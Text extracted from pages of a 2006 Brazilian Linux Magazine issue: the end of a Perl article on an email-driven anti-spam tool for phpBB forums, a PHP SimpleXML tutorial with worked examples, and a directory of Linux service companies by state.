| PROGRAMAÇÃOAntispam para fóruns

Linux Magazine #26 | Dezembro de 2006

Exemplo 2: O script posting-watcher001 #!/usr/bin/perl -w

002

003 use strict;

004 use PhpbbDB;

005 use Cache::FileCache;

006 use Digest::MD5;

007 use Mail::Mailer;

008 use Mail::Internet;

009 use Text::ASCIITable;

010 use Text::Wrap qw(wrap);

011 use Getopt::Std;

012 use WWW::Mechanize::Pluggable;

013

014 getopts( "kc", \my %opts );

015

016 my $URL_FORUM = "http://foo.com/forum";

017 my $USUARIO_FORUM = "USUARIO_FORUM_id";

018 my $SENHA_FORUM = "XXXXXXXX";

019 my $PARA = '[email protected]';

020 my $RESPONDER = '[email protected]';

021 my $VALIDADE = 14 * 24 * 3600;

022 my $cache = Cache::FileCache->new({cache_root => "$ENV{HOME}/phpbb-

cache", n amespace => "phpbb-watcher",});

023 $cache->purge();

024 if ( $opts{k} ) {

025 my @dados = <>;

026 my $corpo = join '', @dados;

027 if ( $corpo =~ /\[delete-key (.*?)\]/ ) {

028 my $id = kill_by_key($1);

029 my $mail = Mail::Internet->new(\@dados );

030 if ($mail) {

031 my $reply = $mail->reply();

032 $reply->body(["Mensagem $id apagada.\n\n", @dados]);

033 $reply->send() or die "Email de resposta falhou";

034 }

035 }

036 }

037 elsif ( $opts{c} ) {

038 check();

039 }

040 else {

041 die "Use -c ou -k";

042 }

043 #############################

044 sub kill_by_key {

045 #############################

046 my ($chave) = @_;

047 my $id = $cache->get("key$chave");

048 if ( defined $id ) {

049 msg_remove($id);

050 }

051 else {

052 die "Chave invalida: $chave";

053 }

054 return $id;

055 }

056 #############################

057 sub check {

058 #############################

059 my $ultimo = $cache->get("_latest");

060 $ultimo = -1

061 unless defined $ultimo;

062 my $novas_msgs = PhpbbPost::Manager->get_phpbb_posts(query =>

[post_id => { gt => $ultimo }]);

063 foreach my $p (@$novas_msgs) {

064 my $id = $p->post_id();

065 my $chave = genkey();

066 mail($id, format_post($id, $p->text()->post_text(), $p->topic()-

>topic_t itle(), $chave), $chave);

067 $cache->set( "key$chave", $id, $VALIDADE );

068 $ultimo = $id;

069 }

070 $cache->set( "_latest", $ultimo );

071 }

072 #############################

073 sub genkey {

074 #############################

075 return

076 Digest::MD5::md5_hex(Digest::MD5::md5_hex(time() . {} . rand() .

$$));

077 }

078 #############################

079 sub mail {

080 #############################

081 my ( $id, $corpo, $chave ) = @_;

082 my $m = Mail::Mailer->new('sendmail');

083 $m->open({To => $PARA, Subject => "Forum News (#$id) ete-key

$chave]", Fro m => $RESPONDER});

084 print $m $corpo;

085 }

086 #############################

087 sub format_post {

088 #############################

089 my ($id, $texto, $topico, $chave) = @_;

090 my $t = Text::ASCIITable->new({ drawRowLine => 1 } );

091 $t->setCols( 'Header', 'Content' );

092 $t->setColWidth( "Header", 6 );

093 $Text::Wrap::columns = 60;

094 $texto =~ s/[^[:print:]]/./g;

095 $t->addRow( 'post', “#$id” );

096 $t->addRow( 'topic', $topico );

097 $t->addRow( 'text', wrap( "", "", $texto ) );

098 $t->addRow( 'key', "[delete-key $chave]" );

099 return $t->draw();

100 }

101 #############################

102 sub msg_remove {

103 #############################

104 my ($post_id) = @_;

105 my $mech = WWW::Mechanize::Pluggable->new();

106 $mech->get($URL_FORUM);

107 $mech->phpbb_login($USUARIO_FORUM, $SENHA_FORUM);

108 $mech->get("$URL_FORUM/viewtopic.p=$post_id");

109 $mech->phpbb_post_remove($post_id);

110 }

http://supertuxbr.blogspot.com

Page 74: 26 - Web 2.0_dez_2006

74 http://www.linuxmagazine.com.br

PROGRAMAÇÃO | Antispam para fóruns

Mais Informações[1] Benjamin Trott, “Comment Spam”:

http://www.sixapart.com/about/news/2003/10/coment_spam.html

[2] Um excelente tutorial de Rose: http://search.cpan.org/dist/Rose-DB-Object/lib/Rose/DB/Object/Tutorial.pod

[3] Software para fóruns phpBB: http://phpbb.com

[4] Exemplos deste artigo: http://www.linuxmagazine.com.br/issue/26/exemplos.zip

Gerador de chavesPara suportar consultas coletivas no estilo SELECT para uma tabela abstrata, a classe PhpbbPost recebe a ordem (li-nha 71 do exemplo 1) para criar a classe PhpbbPost::Manager, cujo método query() realiza a consulta.

Note que a sintaxe dessa consulta é uma estrutura surpreendentemente lim-pa em Perl puro (linha 62 do exemplo 2): [post_id => {gt => $latest}].

A consulta corresponde a SELECT ... WHERE post_id > $latest. Se a busca ti-ver sucesso, o método get_phpbb_posts() retorna uma referência a um vetor que contém os objetos que casam com outros objetos da classe PhpbbPost. Graças aos métodos post_id(), text()->post_text() e topic()->topic_title(), e às relações definidas para as tabelas, os objetos re-tornam a ID do comentário, seu título e o conteúdo como texto. O script posting-watcher (exemplo 2) usa esses dados para gerar um email para o moderador.

O cache persistente, que mapeia a ID dos comentários às chaves aleatórias mencionadas anteriormente, é imple-mentado pelo módulo do CPAN Cache::FileCache. Conforme especificado na linha

25, as entradas tornam-se obsoletas após 14 dias, e então são consideradas aceitas. O método purge() (linha 23) limpa as en-tradas obsoletas.

A ID da última mensagem a ser mo-derada é armazenada no cache pela linha

59, sob a chave _latest. O cache é res-ponsável por mapear as chaves aleatórias às IDs dos comentários para os emails mencionados anteriormente. A função check() do exemplo 2 extrai do cache a ID do último comentário atualmente sob avaliação, e realiza uma consulta SQL que retorna todos os comentários com IDs mais recentes.

A chave de 32 bytes em formato he-xadecimal é criada pela função genkey() na linha 76. Ela usa um método copiado do módulo CPAN Apache::Session, que passa a hora atual, um endereço de me-

mória, um número aleatório e a ID do processo atual através de um hash MD5 duas vezes, para produzir um parâme-tro aleatório.

Essa combinação cria uma chave quase 100% única, que também é muito difícil de adivinhar. Todos que conhecerem essa chave conseguirão apagar do fórum o comentário mapeado a ela no cache. O script do exemplo 2 manda a chave para o moderador e, se este a enviar de volta ao script, o comentário será removido por um agente responsável por simular os cliques de mouse respectivos na inter-face gráfica de administração do fórum.

ASCII Art por emailPara assegurar que as mensagens sobre novos comentários recebidas pelo mo-derador sejam corretamente formatadas, a função format_post definida na linha 87 coloca a ID, o título e o texto na caixa ASCII mostrada na figura 3. A caixa é cria-da sem cerimônia pelo módulo CPAN Text::ASCIITable. Como o texto contém tabulações e outros caracteres não impri-míveis, a expressão regular da linha 190 os substitui por pontos. Antes de o texto ser inserido na caixa, o módulo Text::Wrap estabelece a largura da linha em 60 caracteres. Finalmente, format_post insere a chave secreta na última linha da tabela ASCII. Uma linha Assunto: é adicionada ao email, permitindo que o moderador pressione Responder no cliente de email para retornar a chave como parte da linha do assunto (com “Re: ...” acrescentado) ao matador de spam.

Assassino serial do CPANO msg_remove na linha 102 inicia o apaga-mento com um mecanismo de plugin que utiliza o módulo CPAN WWW::Me-chanize::Pluggable. O módulo suporta a construção de plugins simples, que depois podem ser enviados e compartilhados no CPAN, para estender o WWW::Mechanize com recursos práticos. Por exemplo, WWW::Mechanize::Pluggable::Phpbb adiciona os métodos phpbb_login e phpbb_post_remove ao WWW::Mechanize para permitir o login do usuário do navegador virtual como administrador no fórum PhpBB, e pres-siona os botões certos para apagar um comentário identificado por sua ID. A função msg_remove então envia um email para o moderador para confirmar que a tarefa foi completada (figura 7).

InstalaçãoPara assegurar que os emails enviados à conta Unix do matador de spam se-jam remetidos para o posting-watcher, precisamos de um arquivo .forward no diretório do usuário, com o seguinte conteúdo: |/caminho/completo/para/o/pos-ting-watcher-kill.sh.

A linha de comando completa então é disponibilizada no script shell executável posting-watcher-kill.sh:

#!/bin/sh/caminho/completo/para/o/posting-watcher -k

O motivo disso é que o arquivo .forward não pode lidar com opções de linha de comando, apenas chamadas simples a programas ou scripts.

Certifique-se de fornecer seus próprios valores nas linhas 16 a 21 do exemplo 2

com endereços de email válidos, a URL do fórum e o nome de usuário e a senha do administrador do fórum.

O cronjob responsável pela verifica-ção de novas entradas no banco de da-dos a cada 15 minutos é executado pelo comando crontab -e, seguido de */15 * * * * /caminho/completo/até/o/posting-watcher -c.

O importante é garantir que o script encontre o arquivo de módulo PhpbbDB.pm. Se esse arquivo estiver em um local diferente dos outros módulos Perl, pode-se apontar o script posting-watcher para o diretório de módulos, com o comando use lib ‘/caminho/até/o/diretório_com_o_módulo’;.

É possível estender o script para au-tomaticamente apagar os comentários que obedeçam critérios específicos (que contenham mais que uns poucos links, ou certas palavras-chave, por exemplo) sem que seja pedida autorização ao mo-derador. Morte ao spam! ■

Figura 7: Confirmando o apagamento.

http://supertuxbr.blogspot.com

Page 75: 26 - Web 2.0_dez_2006

75Linux Magazine #26 | Dezembro de 2006

PR

OG

RA

MA

ÇÃ

O

XML é, sem dúvida, uma tecnologia inovadora. Arquivos XML são usados, hoje em dia, para os mais diversos fins,

desde a definição de interfaces gráficas para aplicativos até o envio de dados de uma aplicação para outra.

A linguagem de programação PHP, em sua versão 5, possui a extensão SimpleXML. Esse conjunto de funções facilita bastante a interpretação de arquivos XML, permitindo assim seu carregamento, alteração e utiliza-ção para os mais diversos fins.

Em nosso primeiro exemplo, vamos rea-lizar uma simples leitura de um documento XML e analisar seu retorno. Aqui, tomamos como base o arquivo XML do exemplo 1. No pequeno programa mostrado no exemplo 2, carregamos o documento XML paises.xml através da função simplexml_load_file(), e analisamos o resultado desse procedimento, através da função var_dump(). É possível ver claramente cada tag do XML sendo transforma-da em propriedades do objeto resultante.

A função simplexml_load_file() realiza a leitura de um documento XML, criando ao final um objeto do tipo SimpleXmlElement. Caso o documento esteja formatado incorretamen-te, ou mesmo que não seja um documento XML, a função retornará FALSE.

O resultado da execução do código do exemplo 2, nesse caso, é:

object(SimpleXMLElement)#1 (5) { ["nome"]=> string(8) " Brasil " ["idioma"]=> string(11) " portugues " ["religiao"]=> string(10) " catolica " ["moeda"]=> string(11) " Real (R$) " ["populacao"]=> string(13) " 190 milhoes "}

Um objeto SimpleXMLElement representa um elemento de um documento XML. Quando interpretado através das funções

simplexml_load_file() ou simplexml_load_string(), o documento XML resulta em um objeto do tipo SimpleXMLElement, contendo seus atributos e valores, bem como outros objetos SimpleXMLElement internos, repre-sentando subelementos (nodos). Abaixo, estão alguns dos métodos oferecidos por um objeto do tipo SimpleXmlElement:➧ asXML (): Retorna uma cadeia de ca-

racteres formatada em XML repre-sentando o objeto, bem como seus subelementos.

➧ attributes (): Lista os atributos defi-nidos dentro da tag XML do objeto.

➧ children (): Retorna os elementos filhos do objeto (sub-nodos), bem como seus valores.

➧ addChild(string nome, string valor, string namespace): Adiciona um ele-mento ao nodo especificado e retorna um objeto do tipo SimpleXmlElement.O exemplo 3 demonstra como acessar

diretamente as propriedades do objeto SimpleXMLElement resultante da leitura do documento XML. Para tal, utilizamos o mesmo arquivo XML do exemplo anterior, imprimindo na tela as propriedades do objeto resultante com seu respectivo valor.

O resultado da execução do exemplo 3 é:

Nome : BrasilIdioma : portuguesReligiao : catolicaMoeda : Real (R$)População : 190 milhoes

Já vimos como acessar diretamente as propriedades do XML sabendo os seus nomes. No exemplo 4, vamos percorrer o mesmo documento XML e imprimir na tela suas propriedades (tags), mesmo sem saber seus nomes. Isso é possível através da

utilização do método children(), que recebe um objeto SimpleXMLElement e retorna todos os seus elementos filhos na forma de um vetor contendo a chave e o valor, que pode ser iterado por um laço foreach.

A execução do exemplo 4 gera a se-guinte saída: ➧

Manipulação de arquivos XML com PHP

Combinação perfeita

A manipulação de arquivos XML é de suma importância no desenvolvimento de aplicações, seja para o armazenamento de arquivos de configuração, de dados reais, ou mesmo para o intercâmbio de informações entre diferentes aplicações. Use as funções SimpleXML do PHP 5 para tratar arquivos XML.por Pablo Dall’Oglio

Exemplo 1: paises.xml<?xml version="1.0" encoding="ISO-8859-1"?><pais> <nome> Brasil </nome> <idioma> portugues </idioma> <religiao> catolica </religiao> <moeda> Real (R$) </moeda> <populacao> 190 milhoes </populacao></pais>

Exemplo 2: Processamentodo arquivo paises.xml<?php// interpreta o documento XML$xml = simplexml_load_file('paises.xml');

// exibe as informaçoes do objeto criadovar_dump($xml);?>

Exemplo 3: Acesso às propriedadesdo objeto SimpleXMLElement<?php// interpreta o documento XML$xml = simplexml_load_file(‘paises.xml’);

// imprime os atributos do objeto criadoecho 'Nome : ' . $xml->nome . "\n";echo 'Idioma : ' . $xml->idioma . "\n";echo 'Religiao : ' . $xml->religiao . "\n";echo 'Moeda : ' . $xml->moeda . "\n";echo 'Populaçao : '. $xml->populacao . "\n";?>

Bernhard Aichin-ger – www.sxc.hu

http://supertuxbr.blogspot.com

Page 76: 26 - Web 2.0_dez_2006

76 http://www.linuxmagazine.com.br

PROGRAMAÇÃO | XML com PHP

nome -> Brasilidioma -> portuguesreligiao -> catolicamoeda -> Real (R$)populacao -> 190 milhoes

Aperfeiçoamos um pouco nosso documento XML, adicionando uma seção geografia, que agrupa informa-ções como clima, costa e pico. Nesse caso, o objeto resultante ($xml) irá con-ter uma propriedade chamada geogra-fia, que é também um objeto do tipo SimpleXMLElement com suas respectivas propriedades, sendo passíveis da utili-zação dos mesmos métodos listados no início deste artigo (asXML(), children(), attributes() etc...)

A saída da execução do exemplo 6 é:

Nome : BrasilIdioma : portugues

*** Informaçoes Geograficas ***Clima : tropicalCosta : 7367 kmPico : Neblina (3014 m)

Já realizamos o acesso ao documento XML de diversas formas; agora veremos como alterar o seu conteúdo, no exemplo 7. Nesse caso, após a carga do documento, atribuímos novos valores aos campos, acessando diretamente cada uma das propriedades que se deseja alterar no objeto. Também adicionamos um novo nodo, chamado presidente, através do método addChild(). Após as atribuições de novos valores, utilizamos o método asXML() para retornar o novo documento XML for-matado e atualizado. Caso queiramos sobres-crever o arquivo original, basta utilizarmos a função file_put_contents().

O resultado da execução do exemplo 7 é:

<?xml version="1.0" encoding="ISO-8859-1"?><pais> <nome> Brasil </nome> <idioma> portugues </idioma> <capital> Brasília </capital> <religiao>cristianismo</religiao> <moeda> Real (R$) </moeda> <populacao>220 milhoes</populacao> <geografia> <clima>temperado</clima> <costa> 7367 km </costa> <pico> Neblina (3014 m)</pico> </geografia> <presidente>Chapolin</presidente></pais>

Agora que já vimos como alterar o conte-údo do XML, vamos ver como se dá o acesso a elementos repetitivos. No exemplo 8, adicio-namos uma seção chamada <estados>, que

contém uma listagem com nomes de Estados. O código a seguir imprime na tela algumas informações do documento XML, como nos exemplos anteriores, e também mostra como exibir esses elementos repetitivos, através do laço de repetições foreach().

O resultado da execução do código do exemplo 9 é:

Nome : BrasilIdioma : portugues *** Estados ***Estado : Rio Grande do SulEstado : Sao PauloEstado : Minas GeraisEstado : Rio de JaneiroEstado : ParanaEstado : Mato Grosso

Agora vamos complicar um pouco mais nosso arquivo XML. O arquivo do exem-

plo 10 contém elementos com atributos na definição da própria tag. O exemplo 11 ilustra como trabalhar com elementos que contêm atributos na definição da própria tag (nome=”Minas Gerais” capital=”Belo Horizon-te”), como o arquivo do exemplo 10. Para tal, alteramos a lista de Estados para conter o nome e a capital. Nesse caso, as informações são retornadas em forma de vetor. Utilizando estruturas como o foreach() para percorrer a lista de Estados, acessamos cada atributo do vetor de forma indexada, sendo o índice o próprio nome do atributo que desejamos acessar. Veja o exemplo 11.

A execução do exemplo 11 gera a se-guinte saída:

*** Estados ***Estado : Rio Grande do Sul➥ Capital: Porto AlegreEstado : São Paulo Capital: São PauloEstado : Minas Gerais➥ Capital: Belo HorizonteEstado : Rio de Janeiro➥ Capital: Rio de JaneiroEstado : Paraná Capital: CuritibaEstado : Mato Grosso Capital: Cuiabá

Veja que no exemplo 11 é necessário saber exatamente o nome dos atributos que desejamos acessar, de forma indexa-da. No exemplo 12, percorremos a lista de Estados através de um foreach(), como no exemplo anterior; a diferença é que, dentro desse laço de repetição, podemos percorrer os atributos de cada $estado (que é, na verdade, um objeto SimpleXMLElement), através do método attributes(), que re-torna a chave e o valor de cada atributo de um elemento nodo.

A execução do exemplo 12 leva à se-guinte saída:

Exemplo 4: Tags de paises.xml<?php// interpreta o documento XML$xml = simplexml_load_file('paises.xml');

foreach ($xml->children() as $elemento => $valor){ echo "$elemento -> $valor\n";}?>

Exemplo 5: paises2.xml<?xml version="1.0" encoding="ISO-8859-1"?><pais> <nome> Brasil </nome> <idioma> portugues </idioma> <capital> Brasilia </capital> <religiao> catolica </religiao> <moeda> Real (R$) </moeda> <populacao> 190 milhoes </populacao> <geografia> <clima> tropical </clima> <costa> 7367 km </costa> <pico> Neblina (3014 m) </pico> </geografia></pais>

Exemplo 6: Interpretação depaises2.xml<?php// interpreta o documento XML$xml = simplexml_load_file('paises2.xml');

echo 'Nome : ' . $xml->nome . "\n";echo 'Idioma : ' . $xml->idioma . "\n";

echo "\n";echo "*** Informaçoes Geograficas ***\n";echo 'Clima : ' . $xml->geografia->clima . "\n";echo 'Costa : ' . $xml->geografia->costa . "\n";echo 'Pico : ' . $xml->geografia->pico . "\n";?>

Exemplo 7: Alteração depropriedades<?php// interpreta o documento XML$xml = simplexml_load_file('paises2.xml');

// alteraçao de propriedades$xml->populacao = '220 milhoes';$xml->religiao = 'cristianismo';$xml->geografia->clima = 'temperado';// adiciona novo nodo$xml->addChild('presidente', 'Chapolin');

// exibindo o novo XMLecho $xml->asXML();// grava no arquivo paises2.xmlfile_put_contents('paises2.xml', $xml->asXML());?>

http://supertuxbr.blogspot.com

Page 77: 26 - Web 2.0_dez_2006

77

| PROGRAMAÇÃOXML com PHP

Linux Magazine #26 | Dezembro de 2006

*** Estados ***nome=>Rio Grande do Sulcapital=>Porto Alegrenome=>São Paulocapital=>São Paulonome=>Minas Geraiscapital=>Belo Horizontenome=>Rio de Janeirocapital=>Rio de Janeironome=>Paranácapital=>Curitibanome=>Mato Grossocapital=>Cuiabá

ConclusãoComo pudemos ver neste artigo, a manipulação de arquivos XML no PHP é extremamente simples (afinal, a extensão se chama SimpleXML), e pode ser realizada com apenas algumas linhas de código. Esses recursos provam mais uma vez os grandes avanços proporcionados pela quinta versão dessa linguagem de programação que cresce diariamente em popularidade por sua facilidade de uso, flexibilidade e também pelo crescente número de recursos criados pela sua grande comunidade de desenvolvedores. ■

Exemplo 8: paises3.xml<?xml version="1.0" encoding="ISO-8859-1"?><pais> <nome> Brasil </nome> <idioma> portugues </idioma> <religiao> catolica </religiao> <moeda> Real (R$) </moeda> <populacao> 190 milhoes </populacao> <geografia> <clima> tropical </clima> <costa> 7367 km </costa> <pico> Neblina (3014 m) </pico> </geografia> <estados> <nome> Rio Grande do Sul </nome> <nome> Sao Paulo </nome > <nome> Minas Gerais </nome> <nome> Rio de Janeiro </nome> <nome> Parana </nome> <nome> Mato Grosso </nome> </estados></pais>

Exemplo 9: Interpretaçãode elementos repetitivos<?php// interpreta o documento XML$xml = simplexml_load_file('paises3.xml');

echo 'Nome : ' . $xml->nome . "\n";echo 'Idioma : ' . $xml->idioma . "\n";

echo "\n";echo "*** Estados ***\n";

/* Voce pode acessar um estado diretamente pelo seu indice: echo $xml->estados->nome[0];*/

foreach ($xml->estados->nome as $estado){ echo ‘Estado : ' . $estado . "\n";}?>

Exemplo 10: paises4.xml<?xml version="1.0" encoding="ISO-8859-1"?><pais> <nome> Brasil </nome> <idioma> portugues </idioma> <religiao> catolica </religiao> <moeda nome="Real" simbolo="R$"/> <populacao> 190 milhoes </populacao> <geografia> <clima> tropical </clima> <costa> 7367 km </costa> <pico nome="Neblina" altitude="3014"/> </geografia> <estados> <estado nome="Rio Grande do Sul" capital="Porto Alegre"/> <estado nome="Sao Paulo" capital="Sao Paulo"/> <estado nome="Minas Gerais" capital="Belo Horizonte"/> <estado nome="Rio de Janeiro" capital="Rio de Janeiro"/> <estado nome="Parana" capital="Curitiba"/> <estado nome="Mato Grosso" capital="Cuiabá"/> </estados></pais>

Exemplo 11: Interpretação de paises4.xml<?php// interpreta o documento XML$xml = simplexml_load_file(‘paises4.xml');

echo "*** Estados ***\n";

// percorre a lista de estadosforeach ($xml->estados->estado as $estado){ // imprime o estado e a capital echo str_pad('Estado : ' . $estado['nome'], 30) . 'Capital: ' . $estado['capital'] . "\n";}

?>

Exemplo 12: Uso do foreach<?php// interpreta o documento XML$xml = simplexml_load_file('paises4.xml');

echo "*** Estados ***\n";

// percorre os estadosforeach ($xml->estados->estado as $estado){ // percorre os atributos de cada estado foreach ($estado->attributes() as $key => $value) { echo "$key=>$value\n"; }}?>

O autorPablo Dall’Oglio é autor de projetos em Software Livre reconhecidos, como o Agata Report (http://agata.dalloglio.net) e o editor Tulip (http://tulip.dallo-glio.net). É autor do primeiro livro sobre PHP-GTK no mundo (http://www.php-gtk.com.br/). É especialista em orientação a objetos, PHP e PHP-GTK. Pode ser contata-do pelo email [email protected] ou [email protected].

http://supertuxbr.blogspot.com

Page 78: 26 - Web 2.0_dez_2006

78 http://www.linuxmagazine.com.br

Fornecedor de Hardware = 1 Redes e Telefonia / PBX = 2 Integrador de Soluções = 3

Literatura / Editora = 4 Fornecedor de Software = 5

Consultoria / Treinamento = 6

Linux.local

Empresa Cidade Endereço Telefone Web 1 2 3 4 5 6

CearáF13 Tecnologia Fortaleza Rua Coronel Solon, 480 – Bairro de Fátima

Fortaleza - CE - CEP 60040-270 85 3252-3836 www.f13.com.br ✔ ✔ ✔ ✔

Espírito SantoLinux Shopp Vila Velha Rua São Simão (Correspondência), 18 – CEP: 29113-120 27 3082-0932 www.linuxshopp.com.br ✔ ✔ ✔ ✔

Megawork Consul-toria e Sistemas

Vitória Rua Chapot Presvot, 389 – Praia do Can-to – CEP: 29055-410 sl 201, 202

27 3315-2370 www.megawork.com.br ✔ ✔ ✔

Spirit Linux Vitória Rua Marins Alvarino, 150 – CEP: 29047-660 27 3227-5543 www.spiritlinux.com.br ✔ ✔ ✔

Minas GeraisInstituto Online Belo Horizonte Av. Bias Fortes, 932, Sala 204 – CEP: 30170-011 31 3224-7920 www.institutoonline.com.br ✔ ✔

Linux Place Belo Horizonte Rua do Ouro, 136, Sala 301 – Serra – CEP: 30220-000 31 3284-0575 corporate.linuxplace.com.br ✔ ✔ ✔ ✔

Microhard Belo Horizonte Rua República da Argentina, 520 – Sion – CEP: 30315-490 31 3281-5522 www.microhard.com.br ✔ ✔ ✔ ✔ ✔

TurboSite Belo Horizonte Rua Paraíba, 966, Sala 303 – Savassi – CEP: 30130-141 0800 702-9004 www.turbosite.com.br ✔ ✔ ✔

ParanáiSolve Curitiba Av. Cândido de Abreu, 526, Cj. 1206B – CEP: 80530-000 41 252-2977 www.isolve.com.br ✔ ✔ ✔

Mandriva Conectiva Curitiba Rua Tocantins, 89 – Cristo Rei – CEP: 80050-430 41 3360-2600 www.mandriva.com.br ✔ ✔ ✔ ✔

Rio de JaneiroNSI Training Rio de Janeiro Rua Araújo Porto Alegre, 71, 4ºandar Centro – CEP: 20030-012 21 2220-7055 www.nsi.com.br ✔ ✔

Open IT Rio de Janeiro Rua do Mercado, 34, Sl, 402 – Centro – CEP: 20010-120 21 2508-9103 www.openit.com.br ✔ ✔

Unipi Tecnologias Campos dos Goytacazes

Av. Alberto Torres, 303, 1ºandar - Centro – CEP 28035-581 22 2725-1041 www.unipi.com.br ✔ ✔ ✔ ✔

Rio Grande do SulSolis Lajeado Rua Comandante Wagner, 12 – São Cris-

tóvão – CEP: 95900-00051 3714-6653 www.solis.coop.br ✔ ✔ ✔ ✔ ✔

DualCon Novo Hamburgo Rua Joaquim Pedro Soares, 1099, Sl. 305 – Centro 51 3593-5437 www.dualcon.com.br ✔ ✔ ✔ ✔

Datarecover Porto Alegre Av. Carlos Gomes, 403, Sala 908, Centro Comer-cial Atrium Center – Bela Vista – CEP: 90480-003

51 3018-1200 www.datarecover.com.br ✔ ✔

LM2 Consulting Porto Alegre Rua Germano Petersen Junior, 101-Sl 202 – Hi-gienópolis – CEP: 90540-140

51 3018-1007 www.lm2.com.br ✔ ✔ ✔

Lnx-IT Informação e Tecnologia Porto Alegre Av. Venâncio Aires, 1137 – Rio Branco – CEP: 90.040.193 51 3331-1446 www.lnx-it.inf.br ✔ ✔ ✔ ✔

Plugin Porto Alegre Av. Júlio de Castilhos, 132, 11º andar Centro – CEP: 90030-130 51 4003-1001 www.plugin.com.br ✔ ✔ ✔

TeHospedo Porto Alegre Rua dos Andradas, 1234/610 – Centro – CEP: 90020-008 51 3286-3799 www.tehospedo.com.br ✔ ✔

Santa CatarinaRedix Blumenau Rua 02 de Setembro, 733, sl 08. CEP 89052-000 47 3323-7313 www.redix.com.br ✔ ✔ ✔ ✔

São PauloWs Host Arthur Nogueira Rua Jerere, 36 – Vista Alegre – CEP: 13280-000 19 3846-1137 www.wshost.com.br ✔ ✔ ✔

DigiVoice Barueri Al. Juruá, 159, Térreo – Alphaville – CEP: 06455-010 11 4195-2557 www.digivoice.com.br ✔ ✔ ✔ ✔ ✔

Dextra Sistemas Campinas Rua Antônio Paioli, 320 – Pq. das Uni-versidades – CEP: 13086-045

19 3256-6722 www.dextra.com.br ✔ ✔ ✔

Insigne Free Software do Brasil Campinas Av. Andrades Neves, 1579 – Castelo – CEP: 13070-001 19 3213-2100 www.insignesoftware.com ✔ ✔ ✔

Microcamp Campinas Av. Thomaz Alves, 20 – Centro – CEP: 13010-160 19 3236-1915 www.microcamp.com.br ✔ ✔

PC2 Consultoria em Software Livre

Carapicuiba Rua Edeia, 500 - 06350-080 11 3213-6388 www.pc2consultoria.com ✔ ✔

Savant Tecnologia Diadema Av. Senador Vitorino Freire, 465 – CEP: 09910-550 11 5034-4199 www.savant.com.br ✔ ✔ ✔ ✔

Epopéia Informática Marília Rua Goiás, 392 – Bairro Cascata – CEP 17509-140 14 3413-1137 www.epopeia.com.br ✔

Redentor Osasco Rua Costante Piovan, 150 – Jd. Três Mon-tanhas – CEP: 06263-270

11 2106-9392 www.redentor.ind.br ✔

Go-Global Santana de Parnaíba Av. Yojiro Takaoca, 4384, Ed. Shopping Ser-vice, Cj. 1013 – CEP: 06541-038

11 2173-4211 www.go-global.com.br ✔ ✔ ✔

AW2NET Santo André Rua Edson Soares, 59 – CEP: 09760-350 11 4990-0065 www.aw2net.com.br ✔ ✔ ✔

Async Open Source São Carlos Rua Orlando Damiano, 2212 – CEP 13560-450 16 3376-0125 www.async.com.br ✔ ✔ ✔

Delix Internet São José do Rio Preto

Rua Voluntário de São Paulo, 3066 9º – Centro – CEP: 15015-909

11 4062-9889 www.delixhosting.com.br ✔ ✔ ✔

SE

RV

IÇO

S O maior diretório de empresas que oferecem produtos, soluções e serviços em Linux e Software Livre, organizado por Estado. Sentiu falta do nome de sua empresa aqui? Entre em contato com a gente: 11 2161-5400 ou [email protected]

http://supertuxbr.blogspot.com

Page 79: 26 - Web 2.0_dez_2006

79

Empresa Cidade Endereço Telefone Web 1 2 3 4 5 6

São Paulo (continuação)4Linux São Paulo Rua Teixeira da Silva, 660, 6º andar – CEP: 04002-031 11 2125-4747 www.4linux.com.br ✔ ✔

A Casa do Linux São Paulo Al. Jaú, 490 – Jd. Paulista – CEP 01420-000 11 3549-5151 www.acasadolinux.com.br ✔ ✔ ✔

Accenture do Brasil Ltda. São Paulo Rua Alexandre Dumas, 2051 – Cháca-ra Santo Antônio – CEP: 04717-004

11 5188-3000 www.accenture.com.br ✔ ✔ ✔

ACR Informática São Paulo Rua Lincoln de Albuquerque, 65 –Perdizes – CEP: 05004-010 11 3873-1515 www.acrinformatica.com.br ✔ ✔

Agit Informática São Paulo Rua Major Quedinho, 111, 5º andar, Cj. 508 – Centro – CEP: 01050-030

11 3255-4945 www.agit.com.br ✔ ✔ ✔

Altbit - Informática Co-mércio e Serviços LTDA.

São Paulo Av. Francisco Matarazzo, 229, Cj. 57 – Água Branca – CEP 05001-000

11 3879-9390 www.altbit.com.br ✔ ✔ ✔ ✔

AS2M -WPC Consultoria São Paulo Av. Tiradentes, 615, Ed. Santiago, 2º an-dar Bom Retiro – CEP: 01101-010

11 3228-3709 www.wpc.com.br ✔ ✔ ✔

Big Host São Paulo Rua Dr. Miguel Couto, 58 – Centro – CEP: 01008-010 11 3033-4000 www.bighost.com.br ✔ ✔ ✔

Blanes São Paulo Rua André Ampére, 153 – 9º andar – Conj. 91 CEP: 04562-907 (próx. Av. L. C. Berrini)

11 5506-9677 www.blanes.com.br ✔ ✔ ✔ ✔ ✔

Commlogik do Brasil Ltda. São Paulo Av. das Nações Unidas, 13.797, Bloco II, 6º an-dar – Morumbi – CEP: 04794-000

11 5503-1011 www.commlogik.com.br ✔ ✔ ✔ ✔ ✔

Computer Consulting Pro-jeto e Consultoria Ltda.

São Paulo Rua Vergueiro, 6455, Cj. 06 – Alto do Ipiranga – CEP: 04273-100 11 5062-3927 www.computerconsulting.com.br ✔ ✔ ✔ ✔

Consist Consultoria, Siste-mas e Representações Ltda.

São Paulo Av. das Nações Unidas, 20.727 – CEP: 04795-100 11 5693-7210 www.consist.com.br ✔ ✔ ✔ ✔

Domínio Tecnologia São Paulo Rua das Carnaubeiras, 98 – Metrô Con-ceição – CEP: 04343-080

11 5017-0040 www.dominiotecnologia.com.br ✔ ✔

EDS do Brasil São Paulo Av. Pres. Juscelino Kubistcheck, 1830 Torre 4 - 5º andar 11 3707-4100 www.eds.com ✔ ✔ ✔

Ética Tecnologia São Paulo Rua Nova York, 945 – Brooklin – CEP:04560-002 11 5093-3025 www.etica.net ✔ ✔ ✔ ✔

Getronics ICT Solu-tions and Services

São Paulo Rua Verbo Divino, 1207 – CEP: 04719-002 11 5187-2700 www.getronics.com/br ✔ ✔ ✔

Hewlett-Packard Brasil Ltda. São Paulo Av. das Nações Unidas, 12.901, 25º andar – CEP: 04578-000 11 5502-5000 www.hp.com.br ✔ ✔ ✔ ✔ ✔

IBM Brasil Ltda. São Paulo Rua Tutóia, 1157 – CEP: 04007-900 0800-7074 837 www.br.ibm.com ✔ ✔ ✔ ✔

iFractal São Paulo Rua Fiação da Saúde, 145, Conj. 66 – Saúde – CEP: 04144-020 11 5078-6618 www.ifractal.com.br ✔ ✔ ✔

